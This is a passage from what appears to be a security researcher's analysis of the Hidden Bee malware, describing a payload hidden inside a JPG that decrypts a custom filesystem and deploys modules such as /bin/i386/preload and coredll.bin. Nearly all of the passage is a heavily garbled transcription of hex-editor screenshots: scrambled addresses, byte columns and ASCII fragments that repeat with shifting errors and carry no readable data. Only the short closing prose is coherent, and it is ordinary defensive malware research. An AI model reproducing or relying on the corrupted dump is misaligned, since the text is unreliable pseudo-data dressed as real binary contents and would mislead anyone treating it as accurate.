Address 01810048 01810058 01810058 01810078 01810098 01810098 01810098 01810098 01810008 01810008 01810008 01810008 01810008	Hei 2120062006220066220006F	* 7290F9249E0F04	100 64 64 66 60 60 60 60 60 60 60 60 60 60 60 60	72000000000000000000000000000000000000	229040F79E9402	003064 003064 00306 6020 0000000000000000000000000000	00 360 00 00 00 00 00 00 00 00 00 00 00 00 0	00 308 2004 0369 600 60 60 60 60 60 60 60 60 60 60 60 60	EDF 03060 0360 000 000 000 000 000 000 000 0	01 700 604 30 604 604 600 600 600	0020734F100300300	00 65 01 70 60 70 60 70 60 70 80 85	80 60 60 10 60 20 67 20 67 20 60 20 00	06 66 06 06 06 06 06 06 06 06 06 06 06 0	00 61 60 60 60 60 60 65 60 65 60 65 60 65 60	004 69E0600600 6000000000000000000000000000	ASC tro bin .E bin .bi ad. bin r.b L mon E	11 12" 13" 13" 13" 13" 13" 14	. 90 86∕p 4∕cc md64 m= 86⁄k .e /amc līī in∕i)C prel 140. 140. 140. 10. 164∕ 164∕ 1386		
Address 01810048 01810058 01810058 01810078 01810098 01810098 01810098 01810098 01810008 01810008 018100E8 018100E8 018100E8 018100E8 018100E8 018100E8 0181018	He: 212600 6200 6200 600 600 600 600 600 600 6	290F9249E0F01	100 64 64 66 66 66 66 66 66 66 66 66 66 66	72000000000000000000000000000000000000	200040F79E94027	030641030EC2E0	0080400080FC920	00 36 20 20 40 30 20 40 60 60 60 60 60 60 60 60 60 60 60 60 60	EDF03060F000FE9	01 700 60 30 80 40 80 60 60 60 60 60 60 60 60 60 60 60 60 60	002024F100300302F	00 65 62 60 70 60 70 60 70 60 70 80 85 73	80 60 16 710 64 20 80 80 80 80 80 80 80 80 80 80 80 80 80	06F06C055601 06F0605560 065560 0670 069	001 62C9 600 600 600 600 600 600 600 600 600 60	004 69 200 600 600 600 600 600 600 600 600 600	ASC fro bin E bin .bi ad. bin E oad u@.	iII /i3 /i3 d d /i3 /in b in b in b	90 86∕p 4∕cc md64 86∕k 86∕k 2amc 1īī in∕i)C)rel)rel)40. ↓/pr :0. .)B :04/ :386 .)B :04/ :05		
Address 01810048 01810058 01810058 01810078 01810098 01810098 01810098 01810088 01810088 01810028 01810028 01810028 01810058 01810058 01810058 01810188 01810128	Hei 212600 6200 62210 600 62210 600 62210 600 62210 600 62210 600 62210 600 62210 600 600 600 600 600 600 600 600 600 6	^d 290F9249E0F0119	100 64 64 64 66 60 60	78F000000000000000000000000000000000000	2290400F79E94002700	003064 003064 00306 60200 005 005 005 005 005 005 005 005 005	00 36D 300 600 300 26C 90 800 800 800 800 800 800 800 800 800	0068F0400309100E9200	EDF 060036DF 00026000260002600000000000000000000000	01 70 660 30 60 60 60 60 60 60 60 60 60 60 60 60 60	002 700 732 700 300 200 300 200 200 200 200 200 200 2	00 62 60 700 67 00 85 85 01	80 60 60 60 60 60 60 60 60 60 60 60 60 60	06F060055106720090	00 662 60 60 60 60 60 60 60 60 60 60 60 60 60	0049E06006006006006000600000000000000000	ASC tron bin bin bin bin bin bin bin bi	iII //i3 //i3 //i3 //i3 //i3 //i3 //i3 /	- Υ€ 86/p m∎. 4/cc 4/cc 4/cc 86/k € 86/k € - 2amo 1. 1 1. 1 1. 1 1. 1 1. 1 1. 1 1. 1 1.	00 prel 0.40. 0.4		
Address 01810048 01810058 01810058 01810078 01810098 01810098 01810098 01810088 01810088 01810008 01810008 01810008 01810008 01810018 01810018 01810138 01810138	Hei 212600 6200 62210 600 62210 600 63200 600 600 600 600 600 600 600 600 600	* 00 7290269266200 600100000000000000000000000000000	100 400 400 400 400 400 400 400 400 400	78F00D0E00F02E005800E	2290400E7790E940027002E	003006410300EC200761	00 360 300 600 300 260 800 600 800 600 800 600 800 800 800 8	0068F04069100E9206406692064	EDF00300600000000000000000000000000000000	01 700 660 300 600 600 600 600 600 600 600 6	002 700 732 700 300 800 800 800 800 800 800 800 800 8	00 65 265 01 00 67 00 85 30 85 30 20 38 57 30 70	80 60 60 10 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 60 20 20 20 20 20 20 20 20 20 20 20 20 20	06F0606050113006005011300600000000000000000	00 61 60 60 60 60 60 60 60 60 60 60 60 60 60	0049E060600600672009	ASC Pro bin bin bin bin bin bin bin bin	iII //i3 //i3 //i3 //i3 //i3 //i3 //i3 /	- Υ€ 86/μ md 64 	0C prel 0.40. 0.4		
Address 01810048 01810058 01810058 01810078 01810098 01810098 01810098 01810088 01810088 01810088 01810088 01810088 01810088 01810088 01810188 0181018 01810138 01810148 01810148	He 212606E206122066206 6006F32006F32006E	* 72902F9249E00F001192E	100 400 400 400 400 400 400 400 400 400	78F00D0E00F02E005800E0	2290400E7790E94002700E7	003006410300EC2007100	008 604 0008 008 008 008 008 008 008 008 008	00600000000000000000000000000000000000	EDF 2003000 200300 2000 2000 2000 200300 200300 200300 200300 200300 200300 200300 200300 200300 200300 200300 200300 200300 200300 2003000 2003000 200300000000	01 700 60 60 60 60 60 60 60 60 60 60 60 60 6	0020732F100300300FA200	00 65 65 65 65 65 65 65 65 80 85 85 80 85 85 80 85 85 85 85 85 85 85 85 85 85 85 85 85	80 80 80 80 80 80 80 80 80 80 80 80 80 8	06F 0065 0655 06720 069 069 069 069 069 069 069 069 069 06	00 61 60 60 60 60 60 60 60 60 60 60 60 60 60	00469E0600500600500600000000000000000000000	ASC †ro bin bin abin bin bin bin co abin bin bin bin bin bin bin bin	iII ix". ix"". ix". ix". ix". ix". ix". ix". ix". ix". ix". ix".	.90 86/μ 4/.00 4/.00 86/k 86/k /amc 1.1 10 1.0 1.0 1.0 1.0 1.0 1.0 1.0 1.0	0C pred 140.r 10.r		
Address 01810048 01810058 01810058 01810078 01810098 01810098 01810098 01810088 01810028 01810028 01810028 01810058 01810058 01810158 01810138 01810138 01810138 01810138 01810148 01810158	He 212006200622006220060000000000000000000	* 72902F92449E00F00119200	10 4 4 5 4 6 4 5 4 6 4 6 9 0 4 2 0 4 5 4 0 4 5 7 0 4 6 6 7 0 4 6 0 4 0 4	720600E0F92E0580E92	26040286669400269 26040286669400269 2605	0030064100300EC220071006	008 360 300 600 300 26 600 600 200 200 200 200 200 200 20	00308F04006910048920040891000500489100050005000500050005000500050005000500	EDF 00360 000 000 000 000 000 000 000 000 0	01 700 60 60 60 60 60 60 60 60 60 60 60 60 6	00 700 732 700 700 700 700 800 800 800 800 800 800	00 65 265 70 06 70 08 57 00 85 70 07 65 70 00 85 70 10 65 70 00 85 70 00 85 70 00 85 70 00 85 70 00 85 70 00 85 70 90 85 70 80 85 70 80 80 80 80 80 80 80 80 80 80 80 80 80	80 60 60 710 64 20 80 80 80 80 80 80 80 80 80 80 80 80 80	06F 06C 0655 060 0655 060 060 060 060 060 060 0	00 62 60 60 60 60 60 60 60 60 60 60 60 20 20 20 20 20 20 20 20 20 20 20 20 20	0049E06050000000000000000000000000000000000	ASC tro bin bin bin bin bin bin bin bin bin bin	II x''. x'		0C pred 140.r 150.b 164/ 1386. 161.	+ oad .bi ll.elo ade 0.0^0 /kl} .iC.bC p.b	
Address 01810048 01810058 01810058 01810078 01810078 01810098 01810088 01810088 01810088 01810008 01810008 01810008 01810008 01810018 0181018 01810138 01810138 01810148 01810148 01810168	He 212006200122006200600000000000000000000	* 7290F9249E0601192206	10 4 4 5 4 6 4 5 4 6 4 5 4 6 4 5 4 6 6 5 7 0 4 5 4 6 6 5 7 0 4 5 4 6 0 4 5 4 0 4 5 7 0 2 5 7 0	72000000000000000000000000000000000000	260640F79E9402700F799	0030064100300EC2E007100E7	00804000800FC9200200200	006308F006003060060040000000000000000000000000	EDF03060000000000000000000000000000000000	01 700F046030B004B906E540080 005000000000000000000000000000000	002024F100303002A20300	00 65 265 00 70 06 70 08 55 01 00 85 70 00 85 70 00 85 70 00 85 70 00 85 70 00 85 70 00 85 70 00 85 70 00 85 70 00 85 70 90 80 85 70 90 80 80 80 80 80 80 80 80 80 80 80 80 80	8601400710F2F086002B0027B05	06F06005551130690820728	001 662 600 600 600 600 600 600 600 600 600	0049E06060000000000000000000000000000000	ASC tro binE binE binE cod u0E binE binE cod u0E binE	x''. x''. md6 md6 mda v'. in bin sig sig)Cl pred 140b 14		
Address 01810048 01810058 01810058 01810078 01810098 01810098 01810098 01810008 01810008 01810008 01810008 01810008 01810008 01810198 01810138 01810138 01810138 01810138 01810138 01810178 01810178	He 212006200122006200600000000000000000000	* 7290F9266249E0F01192E00E0	10400000000000000000000000000000000000	78F000000000000000000000000000000000000	229040F79E9402700F7992	0030064100300EC22007100E79	00804000800FC09200F002006002006	006870406030100000000000000000000000000000000	EDF03060FE90603461	01 700F04004000400000000000000000000000000	0020232F100300302FAF006064	005255100000000000000000000000000000000	800400710F2008007800807800800780080078008000000000	06F060605511306820785	001 660 600 600 600 600 600 600 600 600	0049E06005000000000000000000000000000000000	ASC tro bin .Ea bin .bin .ea u@. bin .ea u@. .in	HI k''. md6		0Cl pred 40 pred 50.0 164/ 386/ 50 386/ 9 1/pr 50 1/pr	★ oadill. elo. elo. elo. elo. c. bl. c. bl. c. bl. c. bl. c. bl. c. bl. c. bl. c. bl. c. bl. c. bl. c. c. bl. c. c. c. c. c. c. c. c. c. c. c. c. c.	
Address 01810048 01810058 01810078 01810078 01810098 01810098 01810098 01810008 01810008 01810008 01810008 01810008 01810058 01810108 01810118 01810118 01810128 01810158 01810158 01810158 01810178 01810178 01810178 01810178 01810188	Hei 21200E2001221000F3200E00002	* 7290F9266249E0F001192E00E062	10400000000000000000000000000000000000	78F000000000000000000000000000000000000	260640F79E9402700F79920	03036410330EC2E0710E790	0080400008040920040000000000000000000000	00688F040609100E92048908F1	EDF03060F0026690613346100	0100660400804800605400801000	07073207030305AF06045	005250100670085531005200855	8001400210F28080028002800280028002800280028002800	06F06C05511306908E128F00	001260960040055600600201700	0049E06060000000000000000000000000000000	ASC trian tria	HI k".		0Cl pred 40 1/pr 10.0 10		
Address 01810048 01810058 01810058 01810078 01810098 01810098 01810088 01810088 01810088 01810088 01810088 01810088 01810188 018101188 01810128 01810128 01810158 01810158 01810158 0181018 0180188 0180 018 0 0 0 0	Hei 2420 E220 1220 1220 1220 1220 1220 1220 12	7290F9249E0F01192E0EA20	104451466906400654606670020092	720000E0F92E0580E9230E9	229040F79E9402700F79920E	0300641003066022007100E7900F	00000000000000000000000000000000000000	0302040039100E92048900F133	EDF03006DF0008FE90061364003	010060400600000000000000000000000000000	0707320703030544555 07073207030302420304555	0052551006003853100555007655008550	8601460210F2203608002B025412	06F06C0551130F0908E128F022	0016209000000000000000000000000000000000	0649E0F0500D1CDE09020209	ASC trin bi.Each.bi adbi bi.bi adbi mo.Ecc bin bin bin bin bin bin bin bin	11 14" 14		0		
Address 01810048 01810058 01810058 01810098 01810098 01810098 01810098 01810008 01810008 01810008 01810008 01810008 01810108 01810138 01810138 01810138 01810138 01810158 01810178 01800 01800 01800 000 000 000 000 000	Hei 21200E200122200E3200E0000000000000000000	2290F9249E0F01192E0E6200	10400000000000000000000000000000000000	720606026220680E9230E97	269649F79E949279F79920E1	03036410330EC2E0710E790F0	00804000000000000000000000000000000000	030204039100E9204890F1335	E29030605000000000000000000000000000000000	0700FD4DB04CB90ED4080100061	020024F100603030FAF066045F0	065255100673085531005F08500	86014020710F2F0860802B0554025	06F0C00551130000000000000000000000000000000	00120000000000000000000000000000000000	0649E0F0500D1CDE0902002092	ASC Problem bill bill bill bill constant constant bill constant co	II II II II II II II II II II		0		
Address 01810048 01810058 01810078 01810078 01810098 01810098 01810098 01810088 01810088 01810088 01810088 01810088 01810088 01810188 01810188 01810138 01810138 01810158 01810158 01810178 01810178 01810188 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018 01	Hei 21200E200122200E3200E0000000000000000000	2998F9249E9E91192E8E8E9288E9288E9288E9288E9288E9	104451469042045404930409206602	720600E0F92E0580E9230E971	269649F79E949279F79920E10	03036410330EC2E07100E790F04	00000000000000000000000000000000000000	03020403910000004004000000000000000000000000	EDF03060600FE906613661088DF	0700F04D804C890E540810060818	02024F1006030FAF06045F00	052251000000000000000000000000000000000	86014020F2F20860802B054125F	06F00C0655113DF090820128F020061	0012000400FEB00D0200E1002004	049E0F050E1CEE0902028925	ASC trin trin bi bi bi bi bi bi bi bi bi bi	11 12 13 13 13 14 14 14 14 14 14 14 14 14 14		0	todi todi	
Address 01810048 01810058 01810058 01810078 01810098 01810098 01810098 01810008 01810008 01810008 01810008 01810018 01810118 01810118 01810118 01810158 01810158 01810158 0181018 0181018 0181018 018018 018018 018018 018018 018018 018018 018018 018018 018018 018018 018018 018018 018018 018018 018018 018018 018018 018018 0180 0180 0180 0180 018 018	Hei 2200E2001222000F3200E0090200E022	2990F9249E0F01192E0E02000EE	E 66466606606460E930E092066026	8F000000000000000000000000000000000000	249040F79E9402700F79920E10E	030641030EC2E0710E790F040	0300400000FC9200100F000000	0302040301000000000000000000000000000000	EDF003060F00D07E0906133610038DF1	0100FD4D8004890E540881D086080	020024F1006030FAF06045F0000	0620510000000000000000000000000000000000	860140205080808028054125F3	06F0060551130F0908E12020011	00120000000000000000000000000000000000	049E05060606060820202092092002000	ASC trian tria	11 14 14 14 14 14 14 14 14 14		0cl 0c	t o.bi elo.elo.elo c^@ c^@ c^@ c^@ c.b.c c.b.c c.b.c c.b.c c.b.c c.b.c c.b.c c.c.b c.b.c c.c.b c.c.b c.b.c c.c.b c.b	
Address 01810048 01810058 01810058 01810098 01810098 01810098 01810008 01810008 01810008 01810008 01810008 01810108 01810108 01810118 01810118 01810138 01810138 01810178 01810178 01810178 01810178 01810188 01810178 01810188 0181088 0181088 0181088 0180088 0180088 0180088 0180088 008088 00808 00808 00808 0080	He 22200E200122000F3200E00200E0200E0200E0200E0200E020	299949249E9E911992E9E9209EE992	E 66466606606460000000000000000000000000	8F0000E0F92E0580E9230E97192	299949F79E949279F79920E10E9	030641030EC2E0710EF790F040E	0%04000%04C0%2010046%00004 0%00400%04C0%2010046%00%02F	068F0406910E9204890F135489	E2603060F0026608613661088E7133	0100FD4DB04B90E540881D0061B088	02024F1006030FAF06045F0006	00500510000000000000000000000000000000	860140210F2F060802B0541205F33	06000000000000000000000000000000000000	00120000000000000000000000000000000000	049H0F050D1CDH0902020994500D	ASC transformed by the second	11 Maria Madda Maria Man		0. cl.@d.r. 	tood tll. telo telo telo telo telo telo telo telo	
Address 01810048 01810058 01810078 01810078 01810098 01810098 01810098 01810088 01810088 01810088 01810088 01810088 01810088 01810188 01810188 01810188 01810188 01810178 01810188 0181088 0188 0188 0188 0188 0188 0188 0188 0188 0 0 0 0	He 2200620012000673000600000000000000000000000000000	0290F9249E0F01192E0EEC2006E060	5 66451E90E20E540E930E0920E20E	%F@D@E@F92E@5%@E923@E971924	29040F79E940270F79920E10E90	030641030EC2E0710E790F040EC	0304000000FC920100F0U390600F0	0302F0406910E9204890F1354890	EF803060F00FE9061366108B20300	0100F00F00480048906E5408810080680801	02024F1006030FAF06045F00060	052251006730353105F0655005F0	860140020F242F066020B054125F3355	06000000000000000000000000000000000000	0012C09C040FEB00D020E100204060E1	049H0F05001CDH0900208920925000	ASC from Each of the second s	HI MMd6d n/a bin. dl dl bin. bin. bin. c0. amd in. amd dl dl	90/F).cl@d.r. 0.re@p.lo	toad obi ll.elo common	
Address 01810048 01810058 01810078 01810078 01810078 01810098 01810098 01810098 01810008 01810008 01810028 01810028 01810188 01810118 01810118 01810158 01810158 01810158 0181018 0181018 01810 01810 01810 018 018	He 220062001220060000000000000000000000000	0290F9249E0F01192E0EA2006EE0EE	E4E51E90E20E540E930E0920F20E1	%F9D9E9F92E9589E9239E9719249	200040E779E940270E779920E10E9022	030641030EC2E0710E790F040EC9	0%040000000000000000000000000000000000	03020403040004004004090F13054090F	EF833060F8000FE9906136608BF13869	0700FD4DB044B90EE540801D0661B0880313	02024F1006030FAF06045F00008030	052251006CD408553105F0655005F065F0655F065	8601402071642F060802B054120F335F	06F0C055113DF0908E128F0E0011F93	0612C9C040FEB00D020E100020400D1F	0499E05000000000000000000000000000000000	ASC from Each bind of the second sec	II x''.3 md6d in		3	+ oadi 11oe a@mobi C.bi C.bi C.bi C.bi C.bi C.bi C.bi	
Address 01810048 01810058 01810078 01810098 01810098 01810098 01810008 01810008 01810008 01810008 01810008 01810008 01810108 01810108 01810118 01810118 01810158 01810178 01810178 01810188 0181088 0188 0188 0088 0088 0088 0088 0088 0088 0088 0088 0088 0	H0220066006220CD0F3200E090E0E926F05	029026666620060606620060200000000000000	E 66451E90E20E540E930E0920F20E10	%F@D@E@F92E@5%@E923@E971924@C	200040270402702702200400000000000000000	03006410330EC2E0710E790F0400EC92	0%0400000FC920100F0E%9060F0E9	0600F04060110E92004090F10054090FE	DF03060F0000F09061361008DF133690	0704FD4D804890E54081D06618088130	02024F1006030FAF06045F0008080	052251006730353105F065500655006730355	86044020F2F2F0660802B054120F335F0	06F0C055113DF0908L128F020401F930	0612C9C040FEB00D020207060400D1F5	049E0F050E1CDE09020209250000027	ASC to a bin	HI kr". //i3: //i3: //i3: //i3: //i3: //i5: //i //i //i //i //i //i //i //	90/F .cr/4 .d. 88 .c. 1		toadi bl. el.ee. adcom@j/k.) c.b.cb. c.b.cb. c.b.cb. c.b.cb. c.b.cb. c.b.cb. c.b.cb. c.c.	
Address 01810048 01810058 01810078 01810078 01810098 01810098 01810098 01810088 01810088 01810088 01810088 01810088 01810088 01810088 01810188 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0181088 0188 0188 0188 0188 0188 0188 0188 0188 0188 0188 0188 0188 0188 0 0 0 0	H212006200122000F3200E0900E02067160603	0 76002666600660660662006600060000000000	E44511690620646069308092008200800000000000000000000000000	%F@D@E@F92E@5%@E923@E971924@C8	2000402704040270257092202100000000000000000000000000000000	0306410330EC2E0710E790F040EC920	0%040000000000000000000000000000000000	0%0%F040%910U9%Q4%90%F1%U4%90%FU9	ELF030600F000FE906136108B203C6006	0700FD4D804890E5400010060618000010005	02024F1006030FAF066045F000608001	052510000000000000000000000000000000000	86044020F2F06080802B054125F335F04	06F0C0551130F80908128F020611F93006	01220900040FE8000020E1002040001F54	0449H0F050D1CDH0900209209250002702F	Active and a set of the set of th	HI X''''''''''''''''''''''''''''''''''''	90/2).cl@d.r.ep.)4 .cl@d.r.ep.)4 .csp.)40.rs0.rs0.rs0.rs0.rs0.rs0.rs0.rs0.rs0.rs		
Address 01810048 01810058 01810058 01810078 01810098 01810098 01810098 01810098 01810098 01810088 01810088 01810058 01810188 018101188 01810158 01810158 01810158 01810188 01810288 0181028 018108 0181028 018108 0180 0180 0180 0180 0180 018 0 0 0 0	E2200620012200053200600000000000000000000000000000	0 76026666006606660660666066006060060000000	E6644666066606460667020660260206026086	%F@D@E@F92E@5%@E923@E9774924@C%1	200040F79E940270F79920E10E9022E04	03006410300EC2E07100E790F040EC9205	08004000000000000000000000000000000000	0600F04069100F0404090F10054090FE9E	ELA000000000000000000000000000000000000	0700FD4DB04B900ED40001D0061B0009F91	02024F1006030FAF06045F000080801E	052251002000000000000000000000000000000	8606020F24F20660802B0554125F335F0400	06F0C0551130F0908E128F0E0011F930060	0612C9C040FE800D0200E10020400D1F540	049H0F050001CDH090020092500000075F0	ASC to abrum oubbrum oubbr	II x'i:d6)	• oadi l et.	
Address 01810048 01810058 01810078 01810098 01810098 01810098 01810008 01810008 01810008 01810008 01810008 01810008 01810108 01810108 01810118 01810118 01810158 01810178 01810178 01810178 01810188 01810288 01810238 01810238	H212066606671606F32066090666716060688	d 2998F9249E9F041192E0E62006E2006E2006E2006E	E44851890880446066708809808800000000000000000000000000	%F0D0H0F92H0580H9230H9719240C810	200040F79E940270F79920E10E9C2E040	030641030EC2E0710E790F040EC92050	0%04000%0FC920100F0E%99060F0E9220	0%02F040%710E0%204%090F1%%4%90FE9H0%	EX060060F0008FE9061364108BV03C6006400	0706FD4DB064B908E540881D06661B08808080260	02024F1006030FAF96045F00060801E0	052510000040853105F06550025F060000	86060216525060802805412555335560400	06F06060551130FF0900E128F0E0101F9306000	0612C9C040FEB00D020E10020400D1F5400	049H0F050001CDH0900209999999990000027F000	ASC to Aspect to Aspect t	II X''.3. M.dd	964.00.08.00.00.00.00.00.00.00.00.00.00.00.	0	toabil.et.adcov/kl)adcome.radore.c.R4f	
Address 01810048 01810058 01810078 01810078 01810098 01810098 01810098 01810008 01810008 01810008 01810008 0181008 0181008 01810198 01810198 01810118 01810178 01810178 01810188 01810288 0181028 0181028 01810238 01810238 01810238	E220062001222000F3200E090E020671660538800	02000000000000000000000000000000000000	P44851890866064660667088092608408600	%F0D0E0F92H0580E9230E9719240C81000	200040F79H940270F79920H10H9C2H04000	0303440030EC2E0710EF790F040EC920500	08074000804004001004040000004004004000000000	0600F04060100004004000F10054000F09000	E2000000000000000000000000000000000000	0706604080489085408910066180813085900	02024F1006030FAF06045F00060801H00	0525100CD40853105F065500CDF060000	86060210F2F060802B054125F335F04000	060606060606720682078202060606060606060606060606060606060606	0612C9C040FEB80D0200E10020400D1F54000	049H0F050D1CDH090202092500000000000000000000000000000	ASC the second	HI Ar" And Ar An	94		★ oadio.em@c.b.ic.b.ord/libbem.orc/Ee.	
Address 01810048 01810058 01810068 01810098 01810098 01810098 01810098 01810088 01810088 01810088 01810088 01810088 01810088 01810088 01810128 01810288 01810238 01810248 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018 01	E21200E20012220D0F3200E090E020667160606E000	02900F9249H0F01192H0H02000HH0HH40CH022	P44E51E90E20E540E930E0920E20E100860000	%F0D0E0702200580E9230E9719240C8100E1	200040F79E940270F79920E10E9022E0400000	0306410300HC2H0710H790F040HC92050050	03630400304666004040409060404040404040000	0%02F040%740E9204890F1%54890FE9E000000	E2000000000000000000000000000000000000	07066033606489048540810066180881300F9003	02024F1006030FAF06045F0000801E0000	0620510000040853105F06550005F060000000000000000000000000	0C14020F2F060000B054125F335F0400000	06F06060601130F0900E128F0E0011F9306008E0	06120900405EBB0000208E1002040001F5400000	049H0F050C0H0CDH090202092050D027F00544	ASC trinean bid of the second	II x'id6 	96 - 0.6 - 0		toadi 	
Address 01810048 01810058 01810058 01810098 01810098 01810098 01810008 01810008 01810008 01810008 01810008 01810008 01810108 01810118 01810118 01810118 01810158 01810178 01810178 01810178 0181018 01810178 0181018 0181028 01810238 01810238 01810238 01810258 018108 018108 018108 018108 018108 018108 018108 018108 018108 018108 018 01	H2120E206122CD0F320E090E020E926F053880000		P4EP24EP30EP30EP30EP30EP30EP30EP30EP30EP30EP30	%F@D@E@F92E@6%8@E923@E971924@C%1@@E00	200040F79E940270F79920E10E9022E04000000	03064103046620071000790F0400669200000000000000000000000000000000	036700000000000000000000000000000000000	0%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%	E2060060F0007460061061080F10000046000040	07066033604890E540336006180330302400334	02024F1006030FAF06045F00080801H000040	0652519067303531055506550025550600000240	86046071642F060802B054128F335F0400000F; 86046071642F060802B054128F335F0400000F;	06F06C0655113DF0900E128F0E011F93066008EE00	0612C9C040FEB000020E1002060606055500000FE	049H0F05001CDH0900209256002025F005400	ASC tringand	CII AX''.3: AMAGA AM	.86■4 - m.86 e.m.71 i.n.74 0.86 m.86 e.m.71 i.n.74 0.86 e.m.71 i.n.74 0.86 e.m.71 i.n.74 0.86 m.86 e.m.71 i.n.74 0.86 m.86 e.m.71 i.n.74 0.86 m.86 e.m.86 e.m.71 i.n.74 0.86 m.86 e.m.86 e.m.8		toabio.em@co/k.)a@om@or./Hedp	
Address 01810048 01810058 01810078 01810078 01810098 01810098 01810098 0181008 0181008 0181008 0181008 0181008 0181008 01810198 01810118 01810118 01810118 01810158 01810158 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810188 01810128 01810128 018108 018108 018108 018108 018108 018 01	H2120E20122CD0F320E090E0226F053B00004(02000000000000000000000000000000000000	P44E51E590E200E5400E5900E0920F200E500000000000000000000000000000000	%F@D@H@F92H@5%@H92%@H9?11924@C%1@@HC%?	200040HF79H9402700H79920H1DH9C2H04000008H	030641030EC2E0710E790F040EC920500050050050	0%6%9400%94666894694666%986846666%98666467889886	068F0406910U9204890E13054899EU90000000000000000000000000000000000	E2000000000000000000000000000000000000	07066000000000000000000000000000000000	070732070303074F4506045F90066030140000486	062051006730353105F06550005F06000003A54	86044020F2F060802B054125F335F040000F10	06F06055113DF0908H128F0H011F9306008H000	0612C9C040FEB000020E1002040001FE540000FE5	0499H0F050001CDH090020092500027029066576	ASC trinEachine	II X''.S. M.d6 	94).cl.00. .cl.00.	toadio.em@c.b.dem.or./E.edProvers/E.	
Address 01810048 01810058 01810078 01810078 01810078 01810078 01810078 01810078 01810078 01810078 01810078 01810078 01810078 01810078 01810078 01810078 01810078 01810178 01810278 01810278 01810278 01810278 01810278 01810288 <td>H012200620012200063200609000000000000000000000000000</td> <td>1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2</td> <td>P44E51E90E20E540E930E0920F200E1C0F00000000</td> <td>%F@D@H@F92H@5%@H923@H971924@C%1@@HC%3</td> <td>299449479494927947992941049022494999885</td> <td>0306410300000000000000000000000000000000</td> <td>0300400030040090010050000000000000000000000000000</td> <td>06840406910494069100489040904090409040000000000000000000</td> <td>E2000000000000000000000000000000000000</td> <td>0706FD4DB04B90E540891D0661B0881308F90083AE0</td> <td>07073707030308074F1006030FAF06045F0000608001E0000488</td> <td>065251100CD4085531005F0655605F060800082A25</td> <td>000140020F2F0600002B054120F305F0400000F50</td> <td>06F0C0555113DF090E128F0E011F9306008EE009</td> <td>0612C9C040FEB000020E1002040001FE540000FE55</td> <td>049H0F050001CDH090020209250000075F00540AC</td> <td>ASC * from Each b b b d on Each o u 0 b b i c b b b c c c c c c c c c c c c c</td> <td>II Ar''.3.46 Ar Ar A</td> <td>96 - 0.6 - 0</td> <td>0.rr.ed. .rr.ed.</td> <td>toadi </td> <td></td>	H012200620012200063200609000000000000000000000000000	1 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2	P44E51E90E20E540E930E0920F200E1C0F00000000	%F@D@H@F92H@5%@H923@H971924@C%1@@HC%3	299449479494927947992941049022494999885	0306410300000000000000000000000000000000	0300400030040090010050000000000000000000000000000	06840406910494069100489040904090409040000000000000000000	E2000000000000000000000000000000000000	0706FD4DB04B90E540891D0661B0881308F90083AE0	07073707030308074F1006030FAF06045F0000608001E0000488	065251100CD4085531005F0655605F060800082A25	000140020F2F0600002B054120F305F0400000F50	06F0C0555113DF090E128F0E011F9306008EE009	0612C9C040FEB000020E1002040001FE540000FE55	049H0F050001CDH090020209250000075F00540AC	ASC * from Each b b b d on Each o u 0 b b i c b b b c c c c c c c c c c c c c	II Ar''.3.46 Ar Ar A	96 - 0.6 - 0	0.rr.ed. .rr.ed.	toadi 	

So the part that was hidden in the JPG is, in reality, a package that decrypts the custom filesystem and deploys the next stage modules: /bin/i386/preload and

/bin/i386/coredll.bin . This filesystem has even more elements that are loaded at later stages of the infection. Their full functionality will be described in the next article in our series.

Even more hidden

From the beginning, Hidden Bee malware has been well designed and innovative. Looking at one year of its evolution, we can be sure that the authors are serious about making it even more stealthy—and they don't stop improving it.

Although the initial dropper uses components analogous to ones observed in the past, revealing their encrypted content now takes many more steps and much more patience. The additional difficulty in the analysis is introduced by the fact that the URLs and encryption keys are never reused, and work only for a single session.

The team behind this malware is skilled and determined. We expect that the Hidden Bee malware won't be going extinct anytime soon.